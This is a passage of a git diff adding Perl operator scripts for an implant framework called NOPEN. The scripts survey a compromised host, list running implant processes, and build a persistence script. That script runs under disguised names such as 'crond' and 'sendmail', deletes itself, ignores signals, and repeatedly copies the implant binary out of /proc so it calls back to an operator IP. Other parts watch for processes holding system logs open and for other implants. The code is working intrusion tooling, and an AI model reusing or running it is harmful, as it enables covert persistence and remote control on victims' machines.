$opetc/autonewdone.short"); + + doit("-lsh [ -f /current/tmp/$nopen_mypid.namefix ] && source /current/tmp/$nopen_mypid.namefix ; date -u ; $opetc/gethostinfo.pl | grep -v \"^Malformed UTF-8\" | tee $opdown/hostinfo.$nopen_rhostname ; echo -e \"${COLOR_FAILURE}Use \\\"-hostinfo\\\" to see hostinfo pop-up window${COLOR_NORMAL}\"", + ) unless $autonohostinfo; + + ($output) = doit("-w"); + unless ($builtinsonly) { + ($output) = doit("w"); + } + filepopup("$opdown/ps.$nopen_rhostname", + "-geometry 183x72-101-0 -title \"autonewdone ps.$nopen_rhostname\"" + ) unless ($autoforce or $today or $thismonth); + + if ($output) { + newhostvar("host_wuptime{$nopen_rhostname}",$output); + if (open(WOUT,">$opdown/wuptime.$nopen_rhostname")) { + print WOUT $output; + close(WOUT); + } + } + return 1; +} + +sub logdoit { + foreach my $line (@_) { + my ($logoutput,$lognopenlines,@logoutput) = doit($line); + print CMDOUT $lognopenlines; + print CMDOUT $logoutput; + } +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.short @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.short"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # This is a fresh instance; previous failed newdones may have + # issued warnings we are about to repeat, so just dump them. + unlink("$opdir/latewarnings.$nopen_rhostname"); + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone"); +}#myinit + diff --git a/Linux/etc/autonewdone.swfind b/Linux/etc/autonewdone.swfind new file mode 100755 index 0000000..8d75853 --- /dev/null +++ b/Linux/etc/autonewdone.swfind @@ -0,0 +1,177 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the target software discovery +# that needs to be performed when first connecting to a UNIX target. +# +$VER="3.0.0.5"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub doswfind() { + # Instead of blindly running ssh, check for it first. + ($sshoutput,$nopenlines,@sshoutput) = nopenlss("-UFP","ssh*"); + my $path = ""; + my $daemon = ""; + if ($sshoutput[-1]) { + # We got at least one filename. + foreach $filelisting (@sshoutput) { + # Get the path to each ssh binary, then run it individually. + # This will let us check the versions of multiple ssh binaries + # on the target, if so installed. + ($path) = grep m, /.*/ssh\S?$, , $filelisting; + if ($path =~ /-.*\s(\/.*\/ssh\S?)$/) { + my $path2 = $1; + #dbg("in autonewdone swfind, path=$path= path2=$path2="); + if ($path2 =~ /sshd/) { + $daemon = "SSHD"; + } + else { + $daemon = "SSH"; + } + ($output) = doitwrite("$path2 -V") if $path2; + chomp($output); + if ($output =~ /illegal option/ or $output =~ /usage/) { + # Split the output and look for the second line. + @sshoutput = split(/\n+/,$output); + print HOSTINFO "$daemon version: @sshoutput[1]\n"; + } + else { + print HOSTINFO "$daemon version: $output\n"; + } + ($output) = (); + } + } + } else { + myalert("NOLOGGING","No SSH binaries found, skipping ssh -V command"); + } + + my ($uid) = doitwrite("id"); + + # This stuff only do if we are root + if ($uid =~ /uid=0\D/) { + if ($solaristarget) { + my @pfilepids = (); + + my (undef,undef,@inodeoutput) = doit("-ls -di /proc/*/fd/*"); + my ($openfilesoutput,$badprocs) = (); + my @checklogfiles = ("/var/adm/messages","/var/log/syslog"); + foreach my $logfile (@checklogfiles) { + my ($inode) = doit("-ls -i $logfile"); + ($inode) = $inode =~ /^\s*(\d+)\s/; + if (my @greppedinodeoutput = grep /^\s*$inode\s/ , @inodeoutput) { + my @pids = (); + foreach (@greppedinodeoutput) { + push (@pids,$1) if (m,proc/(\d+)/, and $1 > 1); + } + @pfilepids = uniqify_array(@pids,@pfilepids); + my $pids = join("|",@pids); + next unless $pids; + my ($logprocs,undef,@logprocs) = doit("=ps | egrep \" ($pids) \""); + $openfilesoutput .= $COLOR_NOTE. + "\n=============================================================\n". + $COLOR_NORMAL. + "NOTE: These /proc/ entries:\n\n". + join(" \n",@greppedinodeoutput)."\n\n". + "indicate that these processes have $logfile open:\n\n". + $logprocs; + $badprocs++ if (grep ! /(syslog|syslogd)$/ , @logprocs); + } + } + doit("pfiles @pfilepids"); + if ($openfilesoutput) { + progprint($openfilesoutput."\n\n". + "See above for output from \"pfiles @pfilepids\".". + ""); + if ($badprocs) { + if ($nopromptsplease) { + progprint ($COLOR_FAILURE."\n\n". + "NOTE: There is a process other than syslog or syslogd that has one\n". + "of these files open, SEE ABOVE then continue autonewdone:\n\n ". + join("\n ",@checklogfiles)."\n\n". + "PAUSING 5 SECONDS ONLY NO PROMPT...". + ""); + sleep 5; + } else { + mygetinput ($COLOR_FAILURE."\n\n". + "NOTE: There is a process other than syslog or syslogd that has one\n". + "of these files open, SEE ABOVE then continue autonewdone:\n\n ". + join("\n ",@checklogfiles)."\n\n". + "Hit Return to continue...". + ""); + } + } else { + sleep 5; + } + } + } elsif ($linuxtarget) { + } + + # For this /proc/*/maps we look everywhere, process it where it exists + my ($mapsoutput,$mapsoutputfile) = doitwrite("ARRAY","more /proc/[0-9]*/maps"); + my @mapsoutput = readfile("ARRAY",$mapsoutputfile); + if (@mapsoutput > 3) { + my ($gdmoutput,undef,@gdmoutput) = doit("-ls /tmp/.gdm-*"); + my @mapsbadhits = grep m,libc[sm][12].so, , @mapsoutput; + if (@mapsbadhits) { + my $gdmmore = $gdmoutput ? "$COLOR_FAILURE AND THESE ARE LIKELY RELATED ALSO:$COLOR_NORMAL\n\n ". + join("\n ",@gdmoutput)."\n\n" : "" ; + offerabort($COLOR_FAILURE."\n\n WARNING: $COLOR_NOTE SIG04$COLOR_FAILURE HITS IN /proc/*/maps\n\n$COLOR_NORMAL". + `ls -al $mapsoutputfile`."\n\n". + $gdmmore. + "ALERT: The output in the above local file matches the alert string:\n". + " /libc[sm][12].so/\n\n". + "You can likely CONTINUE but should take note of this and\n". + "perhaps also alert others about it. File above just popped up, FYI. Search for hits with:\n\n". + " /libc[sm][12].so\n". + " ?:::::\n". + " ?.proc.*". + "\n", + "CONTINUE"); + filepopup($mapsoutputfile,"-bg white -fg red -geometry 152x48"); + } + } else { + unlink($mapsoutputfile); + } + } + + mydo("autocroncheck","-F"); + + return 1; +} + +doswfind (); + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.swfind @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.swfind"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit \ No newline at end of file diff --git a/Linux/etc/autonocheck b/Linux/etc/autonocheck new file mode 100755 index 0000000..b864f78 --- /dev/null +++ b/Linux/etc/autonocheck @@ -0,0 +1,231 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.9" ; +$| = 1 ; +my $genpastable = 0; +my $dontshowextra = 0; +my $dontshownetstat = 0; +myinit() ; + +# Get our server PID and remote server port; we will need them later. +#($output,$nopenlines,@output) = doit("-pid"); +#my $thispid = $1 if $output =~ /^\s+PID.+\s(\d+)\s.+$/; +($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid, + $localppid,$serverver,$wdir,$targetos,$targetcwd,$thispid, + $targetppid,$targetport,$localport,@statusoutput) = parsestatus(); + +dbg("in autonocheck, got =$localport= and =$targetport="); + +# Get all of the PIDs on this host. +my @pids = lookupnopenpids(1, $nopen_rhostname); +my $listing = + ".\n\n\n". + "NOPEN PIDs for $nopen_rhostname\n". + "(may include some already gone):\n\n". + " ${COLOR_FAILURE}@pids${COLOR_NORMAL}". + "\n\n". + "${COLOR_NOTE}The following NOPEN servers are currently running on target:${COLOR_NORMAL}\n\n"; + +# Build our PID grep string from the array of PIDs that ran on this host. +my $pidstring = ""; +foreach $pid (@pids) { + $pidstring .= "$pid "; +} +$pidstring =~ s/ +$/ /; +foreach ($pidstring) { + s/ / \|/g; +} + +# Find our still-running NOPEN servers in the processlist. +my (@nopenpids,%nopenlines, + @extranopenpids,%extranopenlines, + %nopenplines, + @psoutput) = (); +my $anchortoken = ""; +#if ($freebsdtarget) { +# ($output,$nopenlines,@psoutput) = doit("ps aluxww"); +#} else { +$ignorefreebsdsetting=1; +($output,$nopenlines,@psoutput) = doit("=ps"); +#} + +# Before we grab the list, get our image name first. +foreach $psline (@psoutput) { + next unless $psline =~ /^.*\sroot\s+$thispid\s/; + $anchortoken = $1 if ($psline =~ /^\s+root\s*\d+.*:\d+\s+((\S+)\s*.*)$/); +# dbg("in autonocheck, anchortoken=$anchortoken= found image name from pid 2=$2 1=$1="); +} + +# Find our still-active NOPEN connections in the netstat. +($connoutput,$nopenlines,@connoutput) = doit("=nsg $targetport") + unless $dontshownetstat; + +# Search the psoutput for our PIDS. +$pidstring = "\\\D\\\s+($pidstring)"; +dbg("anchortoken=$anchortoken= Looking for:$pidstring:"); +findpidsfor($pidstring, + \%nopenlines, + \%nopenplines, + "EOL$anchortoken", + @psoutput, + ); +@nopenpids = keys %nopenlines; +#my $deathpids = ""; +#foreach $psline (@psoutput) { +# #dbg("in autoputfiles, parsing psline =$psline="); +# if (($psline =~ /^.*root\s*(\d+).*/)) { +# dbg("in autoputfiles, psline's pid = =$1="); +# next if !(grep {/$1/} @pids); +# dbg("in autoputfiles, found a psline with one of our PIDs"); +# $listing .= "$psline\n"; +# $deathpids .= "$1 " if $genpastable; +# } +#} + +# Strip out PIDs that did match, rebuild $pidstring and rematch against @psoutput +# to find PIDs with different image names. +unless ($dontshowextra) { + foreach (@nopenpids) { + $pidstring =~ s/$_\s\|*//g; + } + $pidstring =~ s/\s\|\)$/ )/; + $anchortoken=""; + dbg("anchortoken=$anchortoken= Looking for:$pidstring"); + findpidsfor($pidstring, + \%extranopenlines, + \%extranopenplines, + "EOL$anchortoken", + @psoutput, + ); + @extranopenpids = keys %extranopenlines; +} + +# Note that we SKIP the extra listing for building the list of living PIDs, +# since we can't trust the listing without outside help. +my %livingpids = (); +my @livingpids = (); +foreach my $oncepid (@pids) { + foreach my $currentpid (@nopenpids) { + if ($genpastable == 2) { + next if $thispid eq $currentpid; + } + push(@livingpids,$currentpid) if ($oncepid eq $currentpid); + } +} +dbg("nopenlines=(%nopenlines) + +nopenpids=(@nopenpids) + +"); +dbg("extranopenlines=(%extranopenlines) + +extranopenpids=(@extranopenpids) + +") unless $dontshowextra; + +# Find the netstat line corresponding to our session. +my @connlines = (); +my $newline = ""; +foreach $line (@connoutput) { + if ($line =~ /^.*\s\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:|\.)$localport/) { + dbg("in autonocheck, matched =$line= using =$localport= at count =$count="); + $newline = "${COLOR_FAILURE}$line${COLOR_NORMAL}"; + push(@connlines,$newline); + } + else { + push(@connlines,$line); + } +} + +$listing .= join("\n",uniqify_array(values %nopenlines)); +if ($genpastable) { + $listing .= + "\n\n". + "Use the following pastable to kill all running NOPEN servers.\n". + ""; + $listing .= + "$COLOR_FAILURE ( INCLUDING THIS ONE!!!!! )\n". + "" if !($genpastable == 2); + $listing .= + "\n$COLOR_NORMAL". + " kill -9 @livingpids\n". + ""; +} + +my $morestuff = + "\n\n". + "${COLOR_NOTE}The following processes may be NOPEN servers currently running on target:${COLOR_NORMAL}\n\n". + join("\n",uniqify_array(values %extranopenlines)). + "". + "\n" unless ($dontshowextra or !(keys %extranopenlines)); + +$morestuff = + "\n\n". + "${COLOR_NOTE}The following connections are associated with the above NOPEN processes\n". + " (this session marked in red):${COLOR_NORMAL}\n\n". + join("\n",@connlines). + "". + "\n" unless $dontshownetstat; + +progprint("$listing$morestuff"); + +# End with true value as we may someday require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs nocheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs nocheck" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + clearallopts(); + mydie("bad option(s)") if (! Getopts( "hkKndv" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog + +$prog parses the file /current/down/pid, containing the list of all NOPEN server +PIDs for the current host, and prints the full list of NOPEN PIDs. It also searches +the process list for all currently running NOPEN servers, using the list of PIDs, +and shows each process line beneath the listing. Unless the -n option is specified, +$prog will also find and list all of the NOPEN connections currently active on the +target. + + OPTIONS + + -h show this usage statement + -k generate a pastable that kills all running NOPEN servers + -K same as above, but spare the NOPEN server from this window + -n don't show the netstat listing for NOPEN connections + -d don't show processes whose PIDs match our list, but whose image name is different + -v show version number + +"; + usage() if ($opt_h or $opt_v) ; + $genpastable = $opt_k; + $genpastable = 2 if $opt_K; + $dontshowextra = $opt_d; + $dontshownetstat = $opt_n; + $socket = pilotstart(quiet) unless $socket; +} #myinit diff --git a/Linux/etc/autonopencaller b/Linux/etc/autonopencaller new file mode 100755 index 0000000..799a528 --- /dev/null +++ b/Linux/etc/autonopencaller @@ -0,0 +1,456 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.2" ; +# nopen seems happier with stderr in lsh runs +# or does it? Took it out now... +#select STDERR ; +$| = 1 ; +myinit() ; +$dowhat = buildit() ; + +my %badplace = () ; +my @badplaces = ("/tmp","/","/usr","/var","/bin","/sbin","/proc", + "/home","/etc","/dev","/boot","/lib","/opt","/var/tmp", + "/usr/var","/var/usr","/root","/export","/lost+found", + ); +my @regexps = ("(/[^\/]+)*/\.[a-f0-9]{15}[a-f0-9]*\$", + ); +$badplace{$_}++ foreach (@badplaces) ; +$prompt = "${COLOR_NOTE}## $cupfile has been built and contains:\n". + $COLOR_NORMAL. + "\n$dowhat\n\n"; +if (!$debug) { + $prompt .= "bort or ontinue (upload and execute $cupfile as $name)?"; + if (($ans) = mygetinput($prompt,"A","C")) { + mydie("Aborting") if ($ans eq "a") ; + } + progprint("\n\nUploading and executing $cupfile as \"$name &\"\n",$COLOR_FAILURE); + doit("-put $cupfile $targetcwd/$name", + "-cat $targetcwd/$name", + "-cd $targetcwd", + ); + ($output,$nopenlines,@output) = + doit("PATH=.:\$PATH $name &", + "-cdp", + ); + my ($scriptpid,$test) = $output =~ /(\d+) W=(\d+)/; + unless ($test == $runfor - 1) { + mydie("Target shell cannot use W=\$((W-1)) syntax, get help"); + } + ($cuppidactual) = $output[0] =~ /(\d+) /; + ($output,$nopenlines,@output) = + doit( + "=ps | egrep \"$name|sleep $sleep\" | grep -v grep", + NONOHIST + ); + #TODO: Clean up...parse output above to generate pastables + my ($sleeppid,$cuppid,%sleeppid,$matchcount,$bettersleeppid,$warning) = (); + foreach (@output) { + my ($pid,$ppid) = /(\d+)\s+(\d+)/; + if (/sleep $sleep/) { + $sleeppid{$ppid} = $pid; + } + if (/$name/) { + $cuppid{$pid} = 1; + $cuppidparent{$pid} = $ppid; + } + } + if (scalar keys %sleeppid > 1) { + $warning = "$COLOR_FAILURE\a". + "BE CAREFUL!! There seems to be more than one \"sleep $sleep\".\n". + " We should have found the right one but check it.\n". + " ps output was:\n\n". + "=ps | egrep \"$name|sleep $sleep\" | grep -v grep\n$output"; + } + foreach $pid (keys %cuppid) { + next unless $pid == $cuppidactual; + if ($cuppidparent{$pid} == 1 and + $sleeppid{$pid} > 1) { + $sleeppid = $sleeppid{$pid}; + $bettersleeppid = $sleeppid{$pid} if $sleeppid{$pid} == $cuppidactual; + $cuppid = $pid; + last; + } + } + mydie("Could not find both pids: sleeppid=$sleeppid cuppid=$cuppid\n\n\aYOU MUST MANUALLY FIGURE IT OUT FROM HERE (which to kill to do what).") + unless ($sleeppid and $cuppid); + my $killcontent = "$COLOR_NORMAL\n". + "To kill sleep, prompting a NOPEN callback via:\n". + " PATH=. D=-uc$targetip:$nopenport $name\n\n". + "kill -9 $sleeppid\n\n". + "Or issue this to kill off and abort nopencall entirely\n\n". + "kill -9 $cuppid ; sleep 1 ; kill -9 $sleeppid\n\n". + $warning; + progprint($killcontent); + if (open(OUT,">>$opdown/$nopen_rhostname.cup.sleep.pids")) { + print OUT "$sleeppid,$cuppid\n"; + close(OUT); + } else { + mywarn("Could not write to $opdown/$nopen_rhostname.cup.sleep.pids"); + } + $dowhat =~ s/\n/\n /g; + if (open(OUT,">>$opdown/$nopen_rhostname.cup.sleep.kills")) { + print OUT "$COLOR_NOTE".scalar gmtime(). + " -gs nopencaller [$$] cup script deployed:$COLOR_NORMAL \n ". + $dowhat. + $killcontent; + close(OUT); + } else { + mydie("Could not write to $opdown/$nopen_rhostname.cup.sleep.pids"); + } + sleep 6 if $warning; +} else { + my $commands .= "\n\nDEBUG: Here is the\n". + "$cupfile that $prog would have uploaded/executed if\n". + "debug mode was not chosen:\n\n$COLOR_NORMAL". + "$dowhat\n\n"; + progprint("$commands",$COLOR_FAILURE); +} +while (0) { + doit("=ps | grep -v grep | egrep \"sendmail\$|crond|sleep $sleep\""); + if (-f "/tmp/stop") { + unlink "/tmp/stop"; + mydie(done); + } +} +#ENDMAIN + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs nopencaller @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs nopencaller"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $origparms = " @ARGV"; + mydie("bad option(s)") if (! Getopts( "hvW:I:Dr:c:N:n:" ) ) ; + $debug = $opt_D ; + # DEFAULTS + $def_I = 300; + $def_W = 14400; + $def_r = "crond" ; + $def_n = "sendmail" ; + + my $diemore = " (we need /proc, and /proc/PID/file on FreeBSD\n". + " only works when original file is still there)" + if $freebsdtarget; + mydie("$prog only works on Linux and Solaris\n". + $diemore) + unless ($linuxtarget or $solaristarget); + + mydie("Syntax error: $prog takes only options no arguments") + if (@ARGV); + $name = defined $opt_r ? $opt_r : $def_r; + $ratname = defined $opt_n ? $opt_n : $def_n; + $opt_I = defined $opt_I ? $opt_I : $def_I; + $opt_W = defined $opt_W ? $opt_W : $def_W; + $nopenstr = $opt_N; + + mydie("-r and -n cannot be the same ($ratname)") + if $ratname eq $name; + mydie("-n ratname cannot contain whitespace") + if $ratname =~ /\s/; + mydie("-r argument \"$name\" must not contain a \"/\".") + if ($name =~ /\//) ; + $cupfile = "$opup/cup.nopen" ; + + my $defhrs = $def_W/60/60 ; + my $defmins = $def_I/60 ; + $gsusagetext=" +Usage: $prog [-h | options] + +$prog is used on callback targets to allow you to regain connectivity +via a fresh callback every so often. The callbacks can be ignored until one +is needed. + +$prog builds $cupfile according to the chosen options, +shows the final result, then allows user to either abort or continue with +an upload/run on target as \"./rmtname \&\". The script is uploaded and run +from the current directory (need not be executable, it is run with sh -c). + +Unless aborted, $prog will start a fresh NOPEN listener. This +listener's PID is what will be used to get a fresh NOPEN binary out of +/proc each time the script loops (so this only works on solaris and linux). + +The $cupfile script will run until the NOPEN listener's PID is no +longer there, that is until the NOPEN listener expires (5 hours by default). +It will also die from the normal -burn/BURN mode of exiting a target. With +each loop (time set by -I), the script will run a fresh NOPEN callback, +ensuring the NOPEN binary deletes. If there is no -nrtun or other listener, +the NOPEN simply dies quietly. If there is, it will establish a fresh session. + +When run, the script will delete itself and then begin looping. + +OPTIONS [defaults] + +-I delay How often a fresh NOPEN callback is initiated [${defmins}m] + (format: [#h][#m]#[s]) +-W delay How long script will continue [${defhrs}h] +-D Debug mode--build and show the script, then exit. +-r rmtname Run script on target as \"name\". [$def_r] +-c IP[:port} IP and port to call back to (port is random if not given) +-n name Run NOPEN callbacks as \"name\" (NO SPACES) [$def_n] +-N NOPENSTR Use if this NOPEN server or command line has spaces in it (use a + dot \".\" instead of each space). This string is used to find + the new listener $prog starts. + +"; + usage() if ($opt_h or $opt_v) ; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + mydie("-d argument must start with \"/\"") + if ($opt_d and !($opt_d =~ /^\//)) ; + + mydie("Directory \"$opt_d\" must not contain whitespace") + if ($opt_d =~ /\s/) ; + + mydie("-T argument must not be a path, just a filename (no \"/\")") + if ($opt_T =~ /\//); + + $runfor = strtoseconds($opt_W); + mydie("-w argument ($opt_W) not in the form [#h][#m]#[s]") + if ($runfor < 0); + + $sleep = strtoseconds($opt_I); + mydie("-I argument ($opt_I) not in the form [#h][#m]#[s]") + if ($sleep < 0); + + ($targetip,$junk,$nopenport) = + $opt_c =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})(:*(\d*))/ ; + $nopenport = myrand() unless $nopenport > 0; + + mydie("-c IP or -c IP:port is required") + unless $targetip; + mydie("-c $targetip must be a valid IP") + unless ipcheck($targetip); + + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) = parsestatus("force"); + + + # Make sure that our remote name is not present on target. + ($remotelist,$nopenlines,@remotelist) = doit("-ls $targetcwd/$name"); + if ($remotelist =~ /(\d+)\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+)(:\d+){0,1}\s*(\d+){0,1}\s+.*\s+$targetcwd\/$name/) { + mydie("$targetcwd/$name already exists on target with size $1; use a different name with -r!"); + } + + # Determine our current =ps profile, + # start new listener on random port, + # find that listener's PID (try to use netstat -antp on linux) + ($output,$nopenlines,@psoutput) = doit("=ps"); + ($userid,$nopenpid,$nopenname) = (); + foreach (@psoutput) { + my ($thisid,$thispid,$thisname) = /(\S+)\s+(\S+).*\s(\S+)/; + if ($thisid =~ /^\d+$/ and $thispid =~ /^[a-z]+$/i) { + my $tmp = $thisid; + $thisid = $thispid; + $thispid = $tmp; + } + dbg("targetpid=$targetpid= thispid=$thispid=\t $_"); + next unless $thispid eq $targetpid; + ($userid,$nopenpid,$nopenname) = ($thisid,$thispid,$thisname) ; + dbg("targetpid=$targetpid= nopenpid=$nopenpid="); + next unless (!$nopenstr or /\s$nopenstr/); + next if (!$nopenstr and !/$nopenname/); + dbg("PS: $_\n +userid,nopenpid,nopenname = $userid,$nopenpid,$nopenname + "); + + unless ($userid eq "root") { + offerabort("It appears your NOPEN is NOT running as root."); + } + last; + } + $nopenstr = $nopenname unless $nopenstr; + my @oldpsoutput = grep /$nopenstr/ , @psoutput ; + my $randport = myrand(); + my $nonetstat = (!$linuxtarget or $armtarget); + unless ($nonetstat) { + while (1) { + ($output,$nopenlines,@output) = doit("netstat -antp | grep -i tcp.*:$randport"); + last unless @output; + if ($output =~ /invalid/i) { + $nonetstat++; + last; + } + $randport = myrand(); + } + } + doit("-listen $randport"); + %oldnopenlines = (); + unless ($nonetstat) { + ($output,$nopenlines,@output) = doit("netstat -antp | grep -i tcp.*:$randport"); + ($nopenpid) = $output =~ m,LISTEN.*\s(\d+)/,; + mydie("Random listener on $randport started, but CANNOT find new PID with netstat -antp on this Linux host. Get help") + unless $nopenpid; + } else { + ($output,$nopenlines,@output) = doit("=ps | grep -v grep | grep \"$nopenname\""); + my %oldpids = (); + foreach (@oldpsoutput) { + $oldnopenlines{$_}++; + $oldpids{$1}++ if /$userid\s+(\d+)\s.*$nopenstr/; + } + my $idmore = "$userid"; + $idmore = "" if $armtarget; + foreach (@output) { + next unless /$idmore\s+(\d+).*\s$nopenstr/; + next if $oldpids{$1}; + next if $oldnopenlines{$_}; + $nopenpid = $1; + last if $nopenpid; + } + } + +}#myinit + +sub buildit { + mydie("Unable to open > $cupfile") unless + open(CUPOUT,"> $cupfile") ; + my $binstr = "exe"; + $binstr = "object/a.out" if $solaristarget; + $binstr = "file" if $freebsdtarget; + ($nopensum) = doit("-sha1sum /proc/$targetpid/$binstr"); + ($nopensum) = $nopensum =~ /([a-e0-9])+/i; + ($listenersum) = doit("-sha1sum /proc/$nopenpid/$binstr"); + ($listenersum) = $listenersum =~ /([a-e0-9])+/i; + mydie("Cannot continue: pid=$nopenpid is not a noserver (does not match pid=$targetpid)") + unless ($nopensum eq $listenersum); + nopenaddpath("/usr/local/bin:/usr/local/sbin"); + my ($output) = nopenlss("-UPQ","bash"); + my ($shell) = $output =~ m, (/.*bash),; + $shell = "/bin/sh" unless ($shell); + my $commands = doit("#!$shell",CUPOUT); + my @cpcmd = (" cp /proc/$nopenpid/$binstr $ratname || break"); + if ($freebsdtarget) { + my ($test) = doit(" cat /proc/$nopenpid/$binstr > $ratname", + " -ls $ratname" + ); + # CRAP: Never mind, FreeBSD, this cat trick only works if the file that started + # $nopenpid is still in its original place (i.e., /tmp) + my ($size) = $test =~ /(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)/; + my $loctest = `ls -arltR /current/up/morerats 2>/dev/null| grep $size`; + unless ($loctest and $loctest =~ /freebsd/i) { + mydie("Unable to run $prog on this FreeBSD target, unable to verify NOPEN"); + } + @cpcmd = (" cat /proc/$nopenpid/$binstr > $ratname", + " [ -s $ratname ] || break" + ); + } + $sleep2 = $sleep+1; + # TODO: Maybe add test, run NOPEN before sleeping, check exit code + # before we close 1/2. + $commands .= doit( + "/bin/rm -f $targetcwd/$ratname", + "trap : TERM", + "trap : INT", + "trap : KILL", + "ls -al $ratname 2>/dev/null && echo $ratname already exists...", + "ls -al $ratname 2>/dev/null && exit", + "W=$runfor", + "W=\$((W-1))", + "echo \$\$ W=\$W", + "[ \$W = ".int($runfor -1)." ] || echo W=ERR", + "[ \$W = ".int($runfor -1)." ] || exit", + "exec >&- 2>&-", + "while [ 1 ] ; do", + " sleep $sleep", + " W=\$((W-$sleep2))", + " [ \$W -lt 0 ] && break", + @cpcmd, + " chmod 700 $ratname", + " PATH=. D=-uc$targetip:$nopenport $ratname \&", + " sleep 1", +#why does this bust it? ./crond: test: argument expected +# " [ -e $ratname ] && /bin/rm -f $ratname", + "done", + "[ -d /proc/$nopenpid ] && kill -9 $nopenpid", + CUPOUT); + if (@runafter2) { + $commands .= doit(@runafter2,CUPOUT); + } + if (@runafter) { + $commands .= doit(@runafter,CUPOUT); + } + close(CUPOUT) ; + return $commands ; +}#buildit + +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +}#getinput + +sub whatfuser { + local ($setfuserfile) = (@_); + if ($setfuserfile) { + mydie("Cannot open $optmp/fuserfile.$nopen_rhostname for write") + unless open(OUT,"> $optmp/fuserfile.$nopen_rhostname"); + print OUT "$setfuserfile"; + close(OUT); + } else { + if ($resetfuser) { + unlink("$optmp/fuserfile.$nopen_rhostname"); + $resetfuser=0; + } else { + return "" + unless open(IN,"$optmp/fuserfile.$nopen_rhostname"); + chomp($setuserfile = ); + close(IN); + progprint(" \n\nfuser file set to $setuserfile in previous run of $prog\n". + "Use -R option to no longer use it.\n",$COLOR_FAILURE) + if $setuserfile; + sleep 2; + } + } + return $setuserfile; +} diff --git a/Linux/etc/autonoproxy b/Linux/etc/autonoproxy new file mode 100755 index 0000000..79d05e7 --- /dev/null +++ b/Linux/etc/autonoproxy @@ -0,0 +1,564 @@ +#!/usr/bin/env perl +## +$VER="1.2.0.6"; +$| = 1 ; +use File::Copy ; + +myinit() ; +my $proxypid; + +### Check to see if firefox is running. If it is, dont allow noproxy to 